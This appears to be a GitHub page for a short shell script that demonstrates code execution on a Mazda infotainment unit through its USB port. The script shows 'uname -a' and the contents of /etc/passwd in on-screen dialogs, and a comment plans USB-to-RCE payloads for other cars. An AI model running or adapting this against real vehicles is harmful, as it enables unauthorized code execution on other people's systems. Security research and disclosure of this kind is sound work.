forked from shipcod3/mazda_getInfo
-
Notifications
You must be signed in to change notification settings - Fork 0
/
info.sh
29 lines (23 loc) · 969 Bytes
/
info.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
# by @shipcod3
# credits goes to http://mazdatweaks.com/ for the wonderful Mazda hacks since this is a known technique for CMU :)
# more info: http://mazda3revolution.com/forums/2014-2017-mazda-3-skyactiv-audio-electronics/57714-infotainment-project.html
# planning to compile some plug and play usb to RCE for other cars soon
/jci/tools/jci-dialog --title="PoC" --text="A PoC that the USB port is an attack surface" --ok-label='OK' --no-cancel
/jci/tools/jci-dialog --title="gr33tz" --text="To ROOTCON family" --ok-label='OK' --no-cancel
get_uname()
{
_uname=$(/bin/uname -a)
echo "${_uname}"
}
get_passwd()
{
_passwd=$(/bin/cat /etc/passwd)
echo "${_passwd}"
}
GET_UNAME=$(get_uname)
GET_PASSWD=$(get_passwd)
/jci/tools/jci-dialog --title="Executing uname -a" --text="${GET_UNAME}" --ok-label='OK' --no-cancel
/jci/tools/jci-dialog --title="Executing cat /etc/passwd" --text="${GET_PASSWD}" --ok-label='OK' --no-cancel
sleep 10
killall jci-dialog